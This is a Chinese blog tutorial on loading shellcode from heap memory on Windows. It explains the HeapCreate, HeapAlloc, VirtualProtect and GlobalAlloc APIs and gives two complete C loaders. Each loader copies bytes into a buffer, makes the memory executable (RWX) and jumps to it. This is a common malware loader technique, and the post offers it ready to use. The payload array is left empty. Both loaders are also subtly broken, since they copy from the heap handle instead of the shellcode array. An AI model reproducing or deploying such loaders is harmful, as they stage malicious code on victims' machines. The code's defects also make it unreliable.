ShellCode加载 - 堆加载
1、堆加载
方法一
1.1、通过heapCreate函数的方式创建堆
- 函数介绍:创建可由调用进程使用的专用堆对象。 该函数在进程的虚拟地址空间中保留空间,并为此块的指定初始部分分配物理存储。
- 函数的语法
HANDLE HeapCreate(
[in] DWORD flOptions, // 默认选项 参数 HEAP_CREATE_ENABLE_EXECUTE(从此堆分配的所有内存块都允许执行代码) | HEAP_GENERATE_EXCEPTIONS | HEAP_NO_SERIALIZE
[in] SIZE_T dwInitialSize, // 堆的初始大小
[in] SIZE_T dwMaximumSize // 堆的最大大小,如果为0,表示堆是可扩展的
);
- 返回值 : 如果函数成功,则返回值是新创建的堆的句柄
1.2、使用HeapAlloc函数在堆上分配内存中间
- 函数介绍:从堆中分配一块内存。分配的内存不可移动
- 函数的语法
DECLSPEC_ALLOCATOR LPVOID HeapAlloc(
[in] HANDLE hHeap, // 新创建的堆的句柄
[in] DWORD dwFlags, // 默认选项 参数 HEAP_ZERO_MEMORY(分配的内存将被初始化为零)
[in] SIZE_T dwBytes // 需要的内存大小
);
- 返回值 : 返回值是指向分配的内存块的指针
1.3、使用VirtualProtect函数修改内存中的权限
- 函数介绍:更改调用过程的虚拟地址空间中已提交页面区域的保护
- 函数的语法
BOOL VirtualProtect(
[in] LPVOID lpAddress, // 要修改的内存区域的起始地址
[in] SIZE_T dwSize, // 要修改的内存区域的大小
[in] DWORD flNewProtect, // 新的内存保护属性:可读、可写、可执行
[out] PDWORD lpflOldProtect // 保存原始的内存保护属性
);
- 返回值:如果该函数成功,则返回值为非零值
1.4、使用heapFree函数释放内存
-
函数介绍:释放 由 HeapAlloc 或 HeapReAlloc 函数从堆分配的内存块
-
函数的语法
BOOL HeapFree(
[in] HANDLE hHeap, // 堆的句柄
[in] DWORD dwFlags, // 0
[in] _Frees_ptr_opt_ LPVOID lpMem // 指向要释放的内存的指针
);
1.5、实现代码
#include<windows.h>
unsigned char shellcode[] = ;
int main() {
// 创建堆
HANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE,sizeof(shellcode), sizeof(shellcode));
// 给堆分配内存
LPVOID BUFFER = HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, sizeof(shellcode));
//把堆中的内容移动到内存中
RtlMoveMemory(BUFFER, HeapHandle, sizeof(shellcode));
// 修改内存的权限,修改为可执行
DWORD oldProtect;
VirtualProtect(BUFFER, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect);
// 强制转换内存地址为函数指针,然后调用它
((void(*)())BUFFER)();
// 释放内存
HeapFree(HeapHandle,0, BUFFER);
// 销毁之前创建的堆
HeapDestroy(HeapHandle);
return 0;
}
方法二
1.6、通过GlobalAlloc函数分配全局内存
- 函数介绍:从堆分配指定的字节数
- 函数语法
DECLSPEC_ALLOCATOR HGLOBAL GlobalAlloc(
[in] UINT uFlags, // 初始化内存的大小 参数 GMEM_ZEROINIT(为0)
[in] SIZE_T dwBytes // 需要的内存大小
);
- 返回值 : 如果函数成功,则返回值是新分配的内存对象的句柄
1.7、通过GlobalLock函数锁定全局内存
-
函数介绍 : 锁定全局内存对象并返回指向该对象内存块的第一个字节的指针
-
函数语法
LPVOID GlobalLock(
[in] HGLOBAL hMem //全局内存对象的句柄
);
1.8、实现代码
#include<windows.h>
unsigned char shellcode[] = ;
int main() {
// 使用GlobalAlloc分配全局内存
HGLOBAL HeapHandle = GlobalAlloc(GMEM_ZEROINIT,sizeof(shellcode));
// 使用GlobalLock锁定全局内存,获取真实的内存地址
LPVOID BUFFER = GlobalLock(HeapHandle);
//把堆中的内容移动到内存中
RtlMoveMemory(BUFFER, HeapHandle, sizeof(shellcode));
// 修改内存的权限,修改为可执行
DWORD oldProtect;
VirtualProtect(BUFFER, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect);
// 强制转换内存地址为函数指针,然后调用它
((void(*)())BUFFER)();
// 使用GlobalUnlock解锁之前锁定的全局内存
GlobalUnlock(HeapHandle);
// 释放之前分配的全局内存
GlobalFree(HeapHandle);
return 0;
}
版权所有:Ljierui'Blog
文章标题:ShellCode加载 - 堆加载
文章链接:https://fuckdog.org/post-21.html
本站文章均为原创,未经授权请勿用于任何商业用途
文章标题:ShellCode加载 - 堆加载
文章链接:https://fuckdog.org/post-21.html
本站文章均为原创,未经授权请勿用于任何商业用途
推荐阅读: